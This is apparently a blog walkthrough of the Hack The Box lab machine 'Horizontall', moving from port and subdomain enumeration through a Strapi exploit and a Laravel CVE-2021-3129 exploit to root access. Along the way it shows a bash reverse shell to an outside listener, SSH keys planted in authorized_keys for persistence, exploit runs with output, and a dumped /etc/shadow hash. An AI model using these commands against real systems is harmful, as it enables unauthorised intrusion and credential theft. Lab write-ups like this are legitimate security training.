Lance Grover

Lance Grover

HTB – Horizontall – Walkthrough

Posted date:


Start

nmap -sV -sC 10.10.11.105
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-07 22:46 MST
Nmap scan report for 10.10.11.105
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds

add dns to /etc/hosts

echo "10.10.11.105 horizontall.htb" >> /etc/hosts

Lets see what we have

$ curl -v http://horizontall.htb
*   Trying 10.10.11.105:80...
* Connected to horizontall.htb (10.10.11.105) port 80 (#0)
> GET / HTTP/1.1
> Host: horizontall.htb
> User-Agent: curl/7.79.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 08 Jan 2022 05:53:48 GMT
< Content-Type: text/html
< Content-Length: 901
< Last-Modified: Fri, 30 Jul 2021 07:25:57 GMT
< Connection: keep-alive
< ETag: "6103a985-385"
< Accept-Ranges: bytes
< 
<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="/favicon.ico"><title>horizontall</title><link href="/css/app.0f40a091.css" rel="preload" as="style"><link href="/css/chunk-vendors.55204a1e.css" rel="preload" as="style"><link href="/js/app.c68eb462.js" rel="preload" as="script"><link href="/js/chunk-vendors.0e02b89e.js" rel="preload" as="script"><link href="/css/chunk-vendors.55204a1e.css" rel="stylesheet"><link href="/css/app.0f40a091.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but horizontall doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><script src="/js/chunk-vendors.0e02b89e.js"></script><script src="/js/app.c68eb462.js"></script></body></html>
* Connection #0 to host horizontall.htb left intact

ok, running nginx, but lets see what files

$ ffuf -u http://horizontall.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

index.html              [Status: 200, Size: 901, Words: 43, Lines: 2]
favicon.ico             [Status: 200, Size: 4286, Words: 8, Lines: 1]
.                       [Status: 301, Size: 194, Words: 7, Lines: 8]
:: Progress: [37050/37050] :: Job [1/1] :: 462 req/sec :: Duration: [0:01:20] :: Errors: 1 ::

not much there…lets try hosts:

$ curl -s -H "Host: doesntexist.horizontall.htb" http://horizontall.htb | wc -c
194
$ ffuf -c -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 194

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 194
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20]
:: Progress: [114441/114441] :: Job [1/1] :: 465 req/sec :: Duration: [0:04:08] :: Errors: 0 ::

Ah, api-prod.horizontall.htb lets check this one out, add it to /etc/hosts

$ sed "s/horizontall.htb/horizontall.htb api-prod.horizontall.htb/g" -i /etc/hosts

now lets see….

curl -v http://api-prod.horizontall.htb
*   Trying 10.10.11.105:80...
* Connected to api-prod.horizontall.htb (10.10.11.105) port 80 (#0)
> GET / HTTP/1.1
> Host: api-prod.horizontall.htb
> User-Agent: curl/7.79.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sat, 08 Jan 2022 06:17:49 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 413
< Connection: keep-alive
< Vary: Origin
< Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
< Strict-Transport-Security: max-age=31536000; includeSubDomains
< X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
< Cache-Control: max-age=60
< X-Powered-By: Strapi <strapi.io>
< 
<!doctype html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <title>Welcome to your API</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
    </style>
  </head>
  <body lang="en">
    <section>
      <div class="wrapper">
        <h1>Welcome.</h1>
      </div>
    </section>
  </body>
</html>
* Connection #0 to host api-prod.horizontall.htb left intact

and now the ffuf

$ ffuf -u http://api-prod.horizontall.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://api-prod.horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
                        [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 413, Words: 76, Lines: 20]
# This work is licensed under the Creative Commons [Status: 200, Size: 413, Words: 76, Lines: 20]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 413, Words: 76, Lines: 20]
# on at least 1 host    [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 413, Words: 76, Lines: 20]
# Copyright 2007 James Fisher [Status: 200, Size: 413, Words: 76, Lines: 20]
#                       [Status: 200, Size: 413, Words: 76, Lines: 20]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 413, Words: 76, Lines: 20]
# directory-list-2.3-big.txt [Status: 200, Size: 413, Words: 76, Lines: 20]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 413, Words: 76, Lines: 20]
reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
Users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
Admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
REVIEWS                 [Status: 200, Size: 507, Words: 21, Lines: 1]
                        [Status: 200, Size: 413, Words: 76, Lines: 20]

look at some of them

curl http://api-prod.horizontall.htb/reviews/
[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]

curl http://api-prod.horizontall.htb/admin/
<!doctype html>
<html lang="en">
<head>
  <!-- The first thing in any HTML file should be the charset -->
  <meta charset="utf-8">
  <!-- Make the page mobile compatible -->
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="mobile-web-app-capable" content="yes">
  <title>Strapi Admin</title>
</head>
<body>
<!-- The app hooks into this div -->
<div id="app"></div>
<!-- A lot of magic happens in this file. HtmlWebpackPlugin automatically includes all assets (e.g. bundle.js, main.css) with the correct HTML tags, which is why they are missing in this HTML file. Don't add any assets here! (Check out webpackconfig.js if you want to know more) -->
<script type="text/javascript" src="/admin/runtime~main.d078dc17.js"></script><script type="text/javascript" src="/admin/main.da91597e.chunk.js"></script></body>
</html>

curl http://api-prod.horizontall.htb/users/
{"statusCode":403,"error":"Forbidden","message":"Forbidden"}

poking around, I end up seeing the http://api-prod.horizontall.htb/admin/auth/login and it shows a logo for “strapi”

so…that gives us an idea to look for!

https://www.cvedetails.com/cve/CVE-2019-18818/

now we need to be able to exploit this….exploit-db!

https://www.exploit-db.com/exploits/50239

blind exploit! time for a reverse shell…..

nc -lvnp 2345

bash -c 'bash -i >& /dev/tcp/10.10.14.10/2345 0>&1'

Now we have shell

cd /home
ls
cd developer
cat user.txt

now lets get a direct ssh connection

echo "ssh-rsa  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA kali" >> ~/.ssh/authorized_keys

Now I can direct ssh in with:

ssh -i id_rsa-horizontall strapi@horizontall.htb

now lets see whats going on

$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1809/node /usr/bin/ 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
$

We see port 8000 as available

$ curl http://localhost:8000
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Laravel</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css2?family=Nunito:wght@400;600;700&display=swap" rel="stylesheet">

        <!-- Styles -->
        <style>
.....................................
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laravel.com/docs" class="underline text-gray-900 dark:text-white">Documentation</a></div>
                            </div>
.....................................

well well well…Laravel

https://github.com/nth347/CVE-2021-3129_exploit

so we download the exploit.py to local machine and setup a web server to pull the file and get it to the host

git clone https://github.com/nth347/CVE-2021-3129_exploit.git
cd CVE-2021-3129_exploit/
python3 -m http.server 8080

Now we can pull the file to the horizontall box

$ wget http://10.10.14.8:8080/exploit.py
--2022-01-12 05:21:17--  http://10.10.14.8:8080/exploit.py
Connecting to 10.10.14.8:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2935 (2.9K) [text/x-python]
Saving to: ‘exploit.py’

exploit.py                                        100%[=============================================================================================================>]   2.87K  --.-KB/s    in 0s      

2022-01-12 05:21:17 (118 MB/s) - ‘exploit.py’ saved [2935/2935]

$

and it doesn’t work as is:

$ chmod +x exploit.py
$ ./exploit.py http://localhost:8000 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
fatal: unable to access 'https://github.com/ambionics/phpggc.git/': Could not resolve host: github.com
[-] Fail to convert logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared
$ 

so…we need phpggc

git clone https://github.com/ambionics/phpggc.git/
tar cvf phpggc.tar phpggc
python3 -m http.server 8080

and now lets pull down phpggc.tar

tar xvf phpggc.tar

Now, we have the money

$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

19b0fab7850cf2a45284cf4221411e11

[i] Trying to clear logs
[+] Logs cleared

Do you want an option2, this is another way to do it without needing to copy the exploit files to the horizontall box…..First get the files on your box, you should have a phpggc directory and the exploit.py in your current folder then in one tab do:

ssh -i id_rsa-horizontall -L 8000:localhost:8000 strapi@horizontall.htb

Now in another tab you can execute this:

$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

19b0fab7850cf2a45284cf4221411e11

[i] Trying to clear logs
[+] Logs cleared

and now…we still don’t have shell…so why not get root shell

$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cp /opt/strapi/.ssh/authorized_keys  /root/.ssh/authorized_keys"

now ssh in as root using the same ssh key

ssh -i id_rsa-horizontall root@horizontall.htb

BOOM

further proof:

root@horizontall:~# cat /etc/shadow
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::